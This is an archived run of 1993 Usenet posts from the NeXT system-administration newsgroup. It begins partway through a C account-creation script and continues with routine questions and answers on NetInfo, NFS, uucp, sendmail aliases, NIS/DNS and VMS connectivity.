username already exists */ while (i <= strlen(first)) { j = getpwnam(user); if (j != 0) { if (namel >= namemax) { for (j=0; j<=i; j++) user[namemax-i+j] = tolower(first[j]); } else { user[namei++] = tolower(first[i]); user[namei] = 0; } i++; } else break; } /* Here is where we find the next unique uid */ while (getpwuid(uid) != 0) uid++; printf("nu -A %s \"%s %s %s\" %u %u /bin/csh next-%s /Net/server/homes/%s reuse N /egr \n",user,first,other,last,uid,gid,user,user); printf("date > /tmp/toprint\n"); printf("echo USERNAME: %s >> /tmp/toprint\n",user); printf("echo PASSWORD: next-%s >> /tmp/toprint\n",user); printf("cat /me/acc/Account-new.txt >> /tmp/toprint\n"); printf("lpr -PW129_D3_LW /tmp/toprint\n"); printf("rm /tmp/toprint\n"); uid++; fgets(name,sizeof(name),infile); } } -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
From: marcos@kaleida.com (Paul Marcos) Newsgroups: comp.sys.next.sysadmin Subject: How to create Recycler on NFS disk? Message-ID: <77861@apple.apple.COM> Date: 29 Jan 93 17:25:44 GMT Sender: daemon@Apple.COM I recently hooked my NeXT up to our network. I'm using NFS to mount a Sun server's directory. Whenever I throw away something from the Sun's directory, the Workspace tells me that there's no Recycler on the disk and I'll be destroying the files. Is it possible to create a recycler on the disk? Thanks for the help. Paul .................................................................... Paul Marcos NeXTMail marcos@kaleida.com Kaleida Labs, Inc. welcome! (415) 966-0873 ....................................................................
From: gonzo@cs.tu-berlin.de (S. F. Ruehauf) Newsgroups: comp.sys.next.sysadmin Subject: talk & utmp problem Date: 29 Jan 1993 18:20:41 GMT Organization: Technical University of Berlin, Germany Message-ID: <1kbshqINNonf@news.cs.tu-berlin.de> Keywords: nis talk who hello since I installed 3.0 talk doesnt work any more says 'cannot figure out host address' or something who -u says 'cant read utmp' I had this talk problem two years ago on my first NeXT. And I cannot remember the solution. please tell me later SfR -- Stephan Fruhauf gonzo@opal.cs.tu-berlin.de what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de
From: majka@grep.next.com (Marc Majka) Newsgroups: comp.sys.next.sysadmin Subject: Re: How to change language (loginwindow) Message-ID: <6673@rosie.NeXT.COM> Date: 29 Jan 93 17:45:46 GMT References: <1993Jan18.124719.11072@cubx.fdn.org> Sender: news@NeXT.COM The default language setting for a machine is stored in NetInfo. You'll find it in your local domain, in the directory /localconfig/language. To change it to English from a shell, use: niutil -createprop . /localconfig/language language English then reboot. You may also change the setting using NetInfoManager. -- Marc Majka NeXT Computer Inc.
From: gobbi@gdss.commerce.ubc.ca (Michael Gobbi) Newsgroups: comp.sys.next.sysadmin Subject: powerdown/reset hook Date: 29 Jan 1993 19:31:55 GMT Organization: The University of British Columbia Message-ID: <1kc0nbINNbr7@iskut.ucs.ubc.ca> Is there a script anywhere that gets executed automatically just before the NeXT is powered down or rebooted? (something along the lines of the rc startup scripts). I can set up Oracle to autostart in the rc script, but would dearly love to make it autostop as well before the system falls out from under it when I power off. -- __ In quest of knowledge... /..\ <gobbi@gdss.commerce.ubc.ca> ---mm--mm---------------------------------------
Newsgroups: comp.sys.next.sysadmin From: shviid@magnus.acs.ohio-state.edu (Steen H Hviid) Subject: need help for NeXT-SCO uucp Message-ID: <1993Jan29.191350.13910@magnus.acs.ohio-state.edu> Sender: news@magnus.acs.ohio-state.edu Organization: The Ohio State University Distribution: na Date: Fri, 29 Jan 1993 19:13:50 GMT Hi, A client has a PC running SCO Unix, and needs to transfer files to a NeXT. They have a 5 1/5 inch diskette drive on it, and all other machines they have use 3 1/2 inch diskettes. They do now want to spend the money to get a network connection. I have then tried to set up uucp between the two systems, but have not been able to make it work. Since the machines are remote from my location, I have tried to first set up uucp between two NeXT's, to transfer files from <peach> to <kiwi>. When trying to use uucico in debug mode, I get this: > peach> /usr/lib/uucp/uucico -r1 -x6 -skiwi > steen kiwi (1/15-14:32-2960) DEBUG (Local Enabled) > steen kiwi (1/15-14:32-2960) NO CALL (RETRY TIME NOT REACHED) > RETRY TIME (600) NOT REACHED > steen kiwi (1/15-14:32-2960) continuing anyway (debugging) > finds (kiwi) called > getto: call no. cua for sys kiwi > Using DIR to call > Opening /dev/cua > login called > wanted """" > got: that > send """" > wanted "ogin:" > > kiwi> got: ? > send "" > wanted "ogin:" > > kiwi> got: ? > send "" > wanted "ogin:" > > kiwi> got: ? > steen kiwi (1/15-14:35-2960) FAILED (LOGIN) > steen kiwi (1/15-14:35-2960) FAILED (call to kiwi ) however, if I recently have run 'tip' there apparently still is a process answering the port, so we get: > peach> /usr/lib/uucp/uucico -r1 -x6 -skiwi > steen kiwi (1/15-14:05-2928) DEBUG (Local Enabled) > steen kiwi (1/15-14:05-2928) NO CALL (RETRY TIME NOT REACHED) > RETRY TIME (600) NOT REACHED > steen kiwi (1/15-14:05-2928) continuing anyway (debugging) > finds (kiwi) called > getto: call no. cua for sys kiwi > Using DIR to call > Opening /dev/cua > login called > wanted """" > got: that > send """" > wanted "ogin:" > > > NeXT Mach (kiwi) (ttya) > > kiwi login:got: that > send "steen" > wanted "ssword:" > steen > Password:got: that > send "<password_deleted>" > steen kiwi (1/15-14:05-2928) SUCCEEDED (call to kiwi ) > imsg looking for SYNC< > Last login: Thu Jan 14 16:56:58 on ttya > kiwi> Warning: incomplete termcap entry. Editing disabled. > steen kiwi (1/15-14:07-2928) TIMEOUT (kiwi) By the way, 'tip' automatically logs in on the 'kiwi' system, apparently using the information in the L.sys file, which i find a bit strange. This is kiwi's L.sys (host) > # L-sys: Please read UUAIDS/L-sys.samples for some discussions on how to > # use this file as well as the documentation that can be found in the > # Digital Librarian on uucp. > # > #banana Any TCP telnet ns2400.acs.ohio-state.edu > banana Never none none none > #peach Any DIR 9600 ttya > remote ANY DIR 9600 cua This is peach's L.sys: > # L-sys: Please read UUAIDS/L-sys.samples for some discussions on how to > # use this file as well as the documentation that can be found in the > # Digital Librarian on uucp. > # > kiwi Any DIR 9600 cua "" "" ogin:--ogin:--ogin: steen ssword: <pw_del> Any suggestions? Anyone tried doing this with a SCOP Unix box? Thanks --- Steen Hansen e-mail: hansen+@osu.edu Computer Specialist (614) 292-7211 (Stores/Food: tue/thu/fri) Ohio State University (614) 292-5174 (Dentistry: mon/wed)
Newsgroups: comp.sys.next.sysadmin From: charles@oneworld.wa.com Subject: Re: Big Mailing lists Message-ID: <1993Jan29.133411.19582@oneworld.wa.com> Organization: /etc/organization References: <1993Jan11.190140.14889@cubetech.com> <1993Jan12.130721.6930@urz.unibas.ch> Date: Fri, 29 Jan 1993 13:34:11 GMT In article <1993Jan12.130721.6930@urz.unibas.ch> frank@ifi.unibas.ch writes: >In article <1993Jan11.190140.14889@cubetech.com> writes: >> >> I have a big problem... the IXKit mailing list I maintain has gotten >> too large for sendmail to handle. I have tried "daisy-chaining" >> aliases using both NetInfo aliases and sendmail aliases, and both >> produce the same results. >> >> Please post or send me info on how to create large aliases... >> >> >> thanks in advance, >> andrew >> -- >> andrew@cubetech.com | "We cannot dwell in the time that is to come, >> Andrew Loewenstern | lest we lose our now for a phantom of our >> Cube Technologies, Inc. | own design." - Erendis >> 0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5 > >Try the undocumented include feature: (documented on suns ...) >(It works for Ultrix too, I'm just [right today] testing it on the NeXT) > >The syntax for the aliases file: > > <alias-name>: :include:<path and file name> > >In NetInfo add a new value with the syntax: > > :include:<path and file name> > >where the values in <> are to be set appropriately. Then enter all the >names/addresses, one per line, into the file specified by <path and file name>. > >Sendmail will then parse the file - so you don't even need to rebuild the >aliases when you make changes! > >-- I find it also makes a difference what version of sendmail you are using. I have switched to Sendmail 5.65 with IDA. That seemed to solve some core dump problems when encountering large mailing lists (i.e. over 12k in length) Charles Cooper charles@oneworld.wa.com
Newsgroups: comp.sys.next.sysadmin From: mehta-anand@yale.edu (Anand R. Mehta) Subject: Netinfo error on Standalone machine Message-ID: <mehta-anand-290193150903@conn-hall-kstar-node.net.yale.edu> Followup-To: comp.sys.next.sysadmin Sender: news@news.yale.edu (USENET News System) Organization: Academic Computing Services Date: Fri, 29 Jan 1993 20:16:12 GMT I have a standalone NeXT machine that I am currently testing a PPP link with. On two occasions I have had my machine refuse to boot because of a netinfo error. The message was preceded by another one saying that broadcast to 255.255.255.255 failed, that the netinfo server could not be found, and that there were no working netinfo databases. As a result, the windowserver refuses to come up. I have copied local.nidb and hostconfig and hosts from the template directories, but the same errors continue. The only previous changes that I had made were to the hostname in HostManager.app and in niloading some new hosts using niload hosts . < hostfile This is the second time the machine has crashed, and I'm not sure exactly what is going on. I had assumed that the ether interface would be turned off and theat the machine would cease to look for a netinfo server. Apparently this is not the case. How can I undo what I have done (I can't even access local netinfo to see if I may have loaded some incorrect host info) so that this machine will boot correctly. Thank you, -Anand Academic Computing Services Yale University mehta-anand@yale.edu
From: joe@mathcs.emory.edu (Joe Christy) Newsgroups: comp.sys.next.sysadmin Subject: dump.old in 3.0 Date: 29 Jan 1993 14:50:15 -0500 Organization: Mathematical Sciences Research Institute Distribution: world Message-ID: <1kc1pnINNg53@emory.mathcs.emory.edu> Summary: where in dump.old in 3.0 Keywords: man dump where The 3.0 man pages mention dump.old, but I can't seem to find it on disk. Where is it? Is /usr/etc/dump in 3.0 really incompatible with, say SunOS4.1.3 /usr/etc/dump? Enquiring minds want to know.
From: kls30@cd.amdahl.com (Kent L. Shephard) Newsgroups: comp.sys.next.sysadmin Subject: Re: Formatting a Sun 669 MICROPOLIS Message-ID: <31IY02SX34qr01@JUTS.ccc.amdahl.com> Date: 29 Jan 93 19:38:18 GMT References: <1993Jan27.205646.25161@almserv.uucp> Sender: netnews@Frobozz.COM Distribution: na Organization: Amdahl Corporation, Sunnyvale CA In article <1993Jan27.205646.25161@almserv.uucp>, s5umcg@fnma.COM (Marty Gryski) writes: >I have a Sun 669 micropolis drive. I am trying to connect it to my >next with NextStep 3.0. The system recognizes the disk, but will not >initialize it. I get a number of "sd1: Incomplete disk transfer:" >errors. The same disk checks out fine on my sun. > I even formatted >the disk on the next with no problems, but I receive error messages >when attempting to init the disk. Question. Do you have another SCSI device connected to the NeXT with the Micropolis? If so, you are in deep dodo. I had a Micropolis 1588 (or something like that) that was from a Sun. It worked great alone but would not work w/anything else on the bus. I took the drive back. I think Micropolis has a ROM update but since the drive is an OEM Sun drive they won't give you the new prom. At least they wouldn't give it to me. So the drive got returned and I got a Maxtor P0-12s and I'm a happy camper. > >Can anyone suggest what I am doing wrong????? > >--- >Marty Gryski (202)752-3579 >gryski@fnma.com -- /* What me, speak for Amdahl? Get real. These opinions and statements */ /* belong to me and me only. If something I said offends you, it's */ /* either you got a thin skin or that I'm just offensive. Who cares. */ /* */ /* "I'm not going to sit at your table and watch you eat, with nothing */ /* on my plate, and call myself a diner. Sitting at the table doesn't */ /* make you a diner. Being here in America doesn't make you an */ /* American." */ /* --Malcolm X */ /* */ /* Work - kls30@cd.amdahl.com - Don't send NeXTmail!! */ /* Play - kent@infoserv.com - NeXTmail welcome */
Newsgroups: comp.sys.next.sysadmin From: john@oceania.com (John Robison) Subject: Re: Anyone ever seen such a thing??? Message-ID: <C1Mq4z.MJJ@oceania.com> Sender: john@oceania.com (John Robison) Organization: Oceania Health Care Systems References: <1993Jan29.023718.16245@thunder.mcrcim.mcgill.edu> Distribution: na Date: Fri, 29 Jan 1993 19:00:40 GMT Kharim Hogan writes > Hi, > > Well I'm baffled and am wondering if anyone has ever had > a similar experience to the one I am about to describe. > > Three weeks ago our server suddenly went down. It just > powered itself off in the middle of the night. Now this > machine (25 MHz 040 NeXTstation) sits on a UPS > We have an installation with a Sun server on a UPS. We also got similar behavior to what you described. For three days in a row, around lunch time, the server just powered off. After a few service visits, we determined that it was actually the *UPS* that was faulty. Apparently there is a switch in the UPS which is responsible for "switching over" in case of a power failure. We don't exactly know why the UPS failed, but one could speculate that there was a faulty contact which was unable to handle the live current for an extended period of time. It never switched over, it just started switching *OFF*. Kind of makes you wonder about the usefuleness of a UPS huh? P.S. Needless to say, the UPS was replaced and we have not had the problem again. Regards, John -- John Robison - john@oceania.com NeXTMail Gladly Accepted What I say has absolutely nothing to do with my employer.
From: anstine@uniblab.sas.upenn.edu (David Anstine) Newsgroups: comp.sys.next.sysadmin Subject: Multiple file systems with autonfsmount Message-ID: <107267@netnews.upenn.edu> Date: 29 Jan 93 21:33:23 GMT Sender: news@netnews.upenn.edu I saw this somewhere before, How do you mount all filesystems from a machine under /Net using autonfsmount? Some of mine do it, others don't. Another question, why isn't stuff like this in the FAQ? -dave
Newsgroups: comp.sys.next.sysadmin From: Nitezki@NiDat.sub.org (Peter Nitezki) Subject: Re: NeXTstation to DEC MicroVAX connectivity Message-ID: <1993Jan29.205631.6424@nidat.sub.org> Keywords: Terminal emulation, NeXT-DEC connectivity Sender: nitezki@nidat.sub.org Organization: private site of Peter Nitezki, Kraichtal, Germany References: <1k48gaINN51e@darkstar.UCSC.EDU> Date: Fri, 29 Jan 1993 20:56:31 GMT In article <1k48gaINN51e@darkstar.UCSC.EDU> isbell@cats.ucsc.edu (Art Isbell) writes: > > > A client needs to connect a NeXTstation to her MicroVAX 3900 running VMS to use the NeXTstation as a MicroVAX terminal. It's connected to a DECserver terminal server via DECnet and (over?) ethernet. Terminal is a VT100 emulator, so it seems that it would generate escape sequences familiar to the MicroVAX. > > Seems like several approaches are possible: > > 1. Connect the NeXTstation to the DECserver via a serial line. If > this is possible, how does one direct Terminal to connect to that > serial port? Is any additional harware or software required on > either end (other than a serial cable :-) > No problem! The cable (null modem) is described in the user manual that comes with the NeXT. Then set a profile (speed, line and HW-protocol) for the connection in /etc/remote and use tip (see the man-pages) for to hook up to the DEC. > 2. Make the NeXTstation an ethernet node and use telnet or rlogin to > establish a MicroVAX login session. In my distant foggy past, I > seem to recall using telnet to login to a VAX, so I assume that > telnet and possible the "r" utilities (rlogin, rsh, rcp, etc.) > are available for a MicroVAX. What additional hardware/software > would be required? > Even better! You will need to install TCP/IP on VAX/VMS. Three choices (as far as I know): TGV Multinet is the most functional and complete package (my favorite), DEC UCX is good but not as far reaching as Multinet, Wolongong was first but I haven't seen it in practical use yet. > 3. (Fill in your favorite suggestion here.) > Solution 1 is definitely cheapest but only providing terminal service. Solution 2 is best for full functionality but costs several dollares! P.S.: When you get your consultation fee send my share to the address below (this is shareknowledege. It's not free! When you're satisfied with with my service you're supposed to pay your share %-|) -- Peter Nitezki | Nitezki@NiDat.sub.org # Blessed thou who knoweth Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and D-7527 Kraichtal 2 | Fax : +49 7251 69215 # delight of being hooked GERMANY | # up to the Net. Peter 1,3-5
From: wainner@newsserver.rest.tasc.com (Scott Wainner) Newsgroups: comp.sys.next.sysadmin,comp.sys.sun.admin Subject: Re: Sun NIS client won't resolve DNS from Netinfo Date: 29 Jan 1993 11:34:39 -0500 Organization: TASC Message-ID: <1kbmavINNnps@sun.rest.tasc.com> References: <1k9mkbINNd5m@sun.rest.tasc.com> Keywords: Netinfo, NIS, YP, DNS In <1k9mkbINNd5m@sun.rest.tasc.com> wainner@rest.tasc.com. (Scott Wainner) writes: >Netters, > I configured our NeXT Netinfo server to also serve NIS >clients on our network. I set up a Sun as an NIS client. The setup >was clean and logins, mounts, etc were successful. BUT, the Sun won't >resolve FQDNs now. I've got a resolv.conf in the Sun that refers to >the DNS server (a NeXT) which works correctly with 'nslookup'. I know >that Sun's are shipped with the "broken" libraries but the documentation >indicates that Sun's running NIS will use FQDN's if the Makefile is >setup to use the B=-b option. Looking at the Makefile on the NeXT, there >is no B option. So I added B=-b. Nope - that's not it! So I added a >+ at the end of the /etc/hosts file that the yp/Makefile uses. Bzzzt - >wrong, try again! Now what. I really don't want to "fix" the Sun's >with the custom shared libraries that use DNS without NIS. Any ideas >any body? ____________________________________________________________________ I got a reply from: From: Thomas Tornblom <Thomas.Tornblom@Nexus.Comm.SE> Who wrote: You could try to insert an entry 'YP_INTERDOMAIN' into the NIS maps hosts.byaddr and hosts.byname. I think this is what the B=-b flag does on Suns. It really is the clients that does the DNS lookup, it only has to be told to do it. Now I don't know how the maps are maintained on the Next but on Suns you can create a plain ascii file from a map with /usr/etc/yp/makedbm -u <mapname> and add the YP_INTERDOMAIN line and then recreate the dbm maps. ____________________________________________________________________ Checking the NeXT version of makedbm, there is no -b option allowed. So I added YP_INTERDOMAIN to the flat /etc/hosts file, but the makedbm ignores it (probably an invalid entry). If NeXT makedbm doesn't allow the YP_INTERDOMAIN, then I guess I'll have to let the Sun be the master. More configuration fun ... Any suggestions? --
Scott Wainner Internet: swainner@tasc.com The Analytic Sciences Corp wainner@hq.af.mil 12100 Sunset Hills Road Reston, Virginia 22091 Phone: (703) 834-5000
Newsgroups: comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin From: andrew@cubetech.com (Andrew Loewenstern) Subject: Re: Microphone II (send/receive e-mail via compuserve?) Message-ID: <1993Jan29.202529.27831@cubetech.com> Organization: Cube Technologies, Inc. References: <1993Jan27.183752.25063@pencom.com> Date: Fri, 29 Jan 1993 20:25:29 GMT In article <1993Jan27.183752.25063@pencom.com> ricardo@pencom.com (Ricardo Parada) writes: > >Has anybody used Microphone II or any other software packaged to automatically >download e-mail from compuserve? > >Does it work? One of the guys here does that with MPII Pro and Loran... It works great! >Does it work with NeXTmail? I don't think so... andrew
Newsgroups: comp.sys.next.sysadmin From: mddoyle@door.Princeton.EDU (Mark D. Doyle) Subject: NeXTMail aliases and sendmail Message-ID: <1993Jan29.211502.19828@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University Date: Fri, 29 Jan 1993 21:15:02 GMT I have just gotten my NeXT connected to the net after waiting five months and I am trying to configure my mail correctly. Is there a way to have the full addresses of my aliases defined in Private Groups appear on the To: and CC: lines instead of my aliases appearing in the form alias@zeke.rockefeller.edu? I am not a sendmail guru,but I could follow directions. Thanks for any help. Mark Doyle mdd@zeke.rockefeller.edu
Organization: Sponsored account, Engineering And Public Policy, Carnegie Mellon, Pittsburgh, PA Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin,comp.soft-sys.nextstep Message-ID: <YfOfSwi00WBL02AFcp@andrew.cmu.edu> Date: Sat, 30 Jan 1993 12:15:40 -0500 From: Yael Shavit <ys11+@andrew.cmu.edu> Subject: M.M and R.W at NeXT Hi, I'm looking for the e-mail address and/or phone number of the following people at NeXT: Morrise Meyer, Richard Williamson. I would like to have the address or phone number of anyone else at NeXT (or elsewhere) that is involved in developing (or using) the phonekit and the Phone Connector application, using Hayes ISDN extender. Thanks a lot, Yael Shavit Information Networking Institute Carnegie Mellon University
Newsgroups: comp.sys.next.sysadmin From: lfahnoe@kegworks.mn.org (Larry Fahnoe) Subject: Re: Using NeXT's and VAX/VMS systems Message-ID: <1993Jan30.175037.18778@kegworks.mn.org> Organization: The Kegworks, Minneapolis, Minnesota References: <z7r3cdb@rpi.edu> Date: Sat, 30 Jan 1993 17:50:37 GMT In article <z7r3cdb@rpi.edu> gad@eclipse.its.rpi.edu (Garance A. Drosehn) writes: >A local user is thinking of buying some NeXT's to augment the work they >already do on some Vax's running VMS. Most of the data they have is >currently on the VMS systems, and he was wondering how easy it is for NeXT's >and VMS systems to share data. Does VMS support NFS, for instance? Are the >line-ending characters the same in VMS as they are in Unix/NeXT land? No, stock VMS does not support NFS. You would need to add it via either TGV's MultiNet (first choice) or Digital's Ultrix Connection (a good choice if your site happens to have access to the Campus-wide Software License Grant Program). There may be other packages that offer NFS support for VMS. No, the line ending characters are not necessarily the same. RMS (the set of system services on VMS that support files) has a great deal more information stored in the file and its assoicated header about both the file and record formats. On a VMS system the closest thing to a UNIX file would be a file with Stream-LF (a character stream delimited by linefeeds) format. I expect that the above products both support some form of file conversion; I know that Digital's does. If your user's data is stored in RMS relative or indexed files, expect to convert them to flat files first; the VMS Convert utility will do this nicely. With a little creativity and patience, you can share data with a VMS system, and your user can have the best of both worlds. -- Larry Fahnoe Cellular One 612/832-7616 7900 S. Xerxes Ave, Suite 301 lfahnoe@kegworks.mn.org Minneapolis, MN 55431
From: maurices@spock.dis.cccd.edu (Maurice Shihadi) Newsgroups: comp.sys.next.sysadmin Subject: Xgator Experiences? Date: 30 Jan 1993 15:23:01 -0800 Organization: Coast Community College District, Costa Mesa, CA Distribution: world Message-ID: <1kf2klINNn4m@spock.dis.cccd.edu> I've been waiting patiently for someone to develop the Xgator equivalent for NeXTstep but so far it looks like I'll have to get hold of an X windows environment and Xgator. Does anyone have it running on NS 3.0? Caymen doesn't so they can't comment as of yet. Could someone post the nitty gritty details of the most recent version? You know, things like "can you get any more mac realestate on the NeXT 17" monochrome monitor; how fast is the re-draw; when was Xgator last upgraded; what features have been added, etc.". Also, which Xwindows package will work the best with Xgator and NS 3.0? Thanks. maurices
Newsgroups: comp.sys.next.sysadmin From: Nitezki@NiDat.sub.org (Peter Nitezki) Subject: Re: swapfile keeps growing . . . Message-ID: <1993Jan30.135149.7220@nidat.sub.org> Sender: nitezki@nidat.sub.org Organization: private site of Peter Nitezki, Kraichtal, Germany References: <1993Jan27.154600.11256@mattcube> Date: Sat, 30 Jan 1993 13:51:49 GMT In article <1993Jan27.154600.11256@mattcube> matt%mattcube@concert.net (Matthew M. Stecker) writes: > I know that this has been asked before, but how to fix a swapfile under > 3.0 that keeps growing and growing . . . ? > > This same machine did not have this problem under 2.2 > Known problem in currently used version of Mach (NeXt's Unix kernel). Reboot will fix it! Sorry, no other remedy known to me. -- Peter Nitezki | Nitezki@NiDat.sub.org # Blessed thou who knoweth Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and D-7527 Kraichtal 2 | Fax : +49 7251 69215 # delight of being hooked GERMANY | # up to the Net. Peter 1,3-5
From: pat%expovision@cam.org (Patrique Lalonde) Newsgroups: comp.sys.next.sysadmin Subject: Keeping permissions on external HD Message-ID: <1993Jan29.230503.255@cesar.uucp> Date: 29 Jan 93 23:05:03 GMT Sender: pat@cesar.uucp Hello all, I know that this question was been asked and answered a while back but here goes again. How can we keep the ownership, group and permissions of folders and files on an external hard disk (Quantum 105 mb)? Any help would be great! Thanks in advance Patrique =====NeXt Mail Patrique Lalonde pat%cesar@cam.org
From: oscar@msen.com (Oscar Linares) Newsgroups: comp.sys.next.sysadmin Subject: LOOKING FOR awkcc Date: 31 Jan 1993 15:33:57 GMT Organization: Msen, Inc. -- Ann Arbor, Michigan Message-ID: <1kgrhkINN7er@nigel.msen.com>
From: louie@sayshell.umd.edu (Louis A. Mamakos) Newsgroups: comp.sys.next.sysadmin Subject: Re: Next NFS server upgrade Date: 31 Jan 1993 16:42:39 GMT Organization: The University of Maryland, College Park Message-ID: <1kgvhvINNjs5@ni.umd.edu> References: <gfNjYKq00YUn0=N1kh@andrew.cmu.edu> In article <gfNjYKq00YUn0=N1kh@andrew.cmu.edu> Tod McQuillin <tm8t+@andrew.cmu.edu> writes: >We're running a NeXT cube (68040/25Mhz) with 2.5 GB of disk serving 50 >NFS clients or so. We're considering upgrading the server with a >Turbo board (68040/33Mhz). > >My question is, with such a configuration, is upgrading to a Turbo >likely to help? It's quite possible that the machine is disk-bound, >in which case increasing the CPU speed won't significantly help. You'd likely be better off, for performance and function, to buy a Sun or some other box for your NFS server if you are really server performance-bound. If you've got a large, heavy NFS load, having multiple SCSI buses available will reduce I/O contention on the bus between multiple drives, as will support for synchronous SCSI transfers so that each transfer uses the bus for less time. You get neither of these on a NeXT right now. You may also be able to get a more modern NFS server implementation that allows you to export different parts of a file system with different permissions. Hard to believe, but the NFS on the NeXT doesn't allow this. Wouldn't you like to be able to export, say, /NextApps, /NextAdmin, /NextLibrary read only to a bunch of hosts, but your home directory read/write to only your workstation? Can't do that on a NeXT if they all live in the same file system on the server. Louis Mamakos
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: Netinfo error on Standalone machine Message-ID: <C1qBwF.KK1@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <mehta-anand-290193150903@conn-hall-kstar-node.net.yale.edu> Date: Sun, 31 Jan 1993 17:43:13 GMT mehta-anand@yale.edu (Anand R. Mehta) writes: >I have a standalone NeXT machine that I am currently testing a PPP link >with. On two occasions I have had my machine refuse to boot because of a >netinfo error. The message was preceded by another one saying that >broadcast to 255.255.255.255 failed, that the netinfo server could not be >found, and that there were no working netinfo databases. As a result, the >windowserver refuses to come up. >I have copied local.nidb and hostconfig and hosts from the template >directories, but the same errors continue. The only previous changes that >I had made were to the hostname in HostManager.app and in niloading some >new hosts using In most likelihood what you need to do is to restore to the virgin local.nidb and hostconfig and bring it up and run HostManager. The important thing to change is 'Netinfo Network' to 'Non-Netinfo Network'. It is a netinfo network and will search for a server by default, even if there is no ethernet connection (en0 is down). I just set up my new machine with Mamakos SLIP and had this problem until I remembered this trick. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: maslen@gday.Eng.Sun.COM (Thomas Maslen) Newsgroups: comp.sys.next.sysadmin,comp.sys.sun.admin Subject: Re: Sun NIS client won't resolve DNS from Netinfo Date: 31 Jan 1993 19:35:12 GMT Organization: Sun Microsystems Inc., Mountain View, CA Distribution: world Message-ID: <lmoafgINNh2q@exodus.Eng.Sun.COM> References: <1k9mkbINNd5m@sun.rest.tasc.com> <1kbmavINNnps@sun.rest.tasc.com> Keywords: Netinfo, NIS, YP, DNS wainner@newsserver.rest.tasc.com (Scott Wainner) writes: ... >I got a reply from: >From: Thomas Tornblom >Who wrote: >You could try to insert an entry 'YP_INTERDOMAIN' into the NIS maps >hosts.byaddr and hosts.byname. I think this is what the B=-b flag does >on Suns. It really is the clients that does the DNS lookup, it only ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >has to be told to do it. Would that it were true... no, SunOS 4.x machines expect the NIS *server* (doesn't matter whether it's a master or a slave) to commune with the DNS on their behalf, then reformat the DNS reply and hand it back to them; as far as the client is concerned, it did a NIS request and got a NIS reply, but the information happened to come from DNS. My guess (and that's all it is) is that if you want to run - SunOS 4.x clients - with NetInfo servers - and no SunOS 4.x NIS servers - and get at DNS information then the resolv+ package may be the way to go (I haven't used it, but the comments on the comp.sys.sun.* newsgroups seem to be pretty favourable). >Scott Wainner Internet: swainner@tasc.com >The Analytic Sciences Corp wainner@hq.af.mil >12100 Sunset Hills Road >Reston, Virginia 22091 Phone: (703) 834-5000 Thomas Maslen maslen@eng.sun.com My opinions, not Sun(Soft)'s
From: eilts@late.e-technik.uni-erlangen.de (Hinrich Eilts) Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin Subject: gated runs amuck on NS3.0 Date: Sun, 31 Jan 1993 20:28:30 GMT Organization: LATE, Uni-Erlangen, Germany Message-ID: <1khcpeEsr6@uni-erlangen.de> My gated runs ok with NS2.1 but now it's runs amuck: it allocated lots of storage up to an allocation-error (by about 60 MB) which let's him die. I compiled new with the 3.0-NeXT-cc without greater problems (correction of some headerfile-locations) my 2.1-sources, but it's the same error. The computer is a Next-Station mono. Any help will be highly considered. -- Bye | G i b D O S | Hinrich Eilts | k e i n e | (e-mail: eilts@late.e-technik.uni-erlangen.de) | C h a n c e ! |
From: mcn@cwru.edu (Michael C. Neuman) Newsgroups: comp.sys.next.sysadmin Subject: Port 2453 Date: 1 Feb 1993 05:18:09 GMT Organization: Case Western Reserve University, Cleveland, Ohio (USA) Distribution: world Message-ID: <1kibqhINNj27@usenet.INS.CWRU.Edu> Anyone know what port 2453 is? It's not in services, and all NeXTs seem to answer on it. (Also, some bugs exist with it that by hitting the right combination of characters, you can crash the target machine)... -- Mike Neuman mcn@b62103.student.cwru.edu "To make a machine that will be proud of us." - Thinking Machine's motto ============================================================================== * Maintainer: NeXT netrek archive--b62103.student.cwru.edu:/pub/games/netrek *
Newsgroups: comp.sys.next.sysadmin From: jpw@sansfoy.lib.virginia.edu (John Price-Wilkin) Subject: logging for anonymous ftp Message-ID: <1993Feb1.135606.29026@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia Date: Mon, 1 Feb 1993 13:56:06 GMT How does one add the "-l" (for transaction logging) switch to ftpd in the NetInfoManager? Is it possible to specify a log file other than syslog? Is it possible to provide additional parameters so that only anonymous ftp logging is performed? John Price-Wilkin jpw@Virginia.EDU
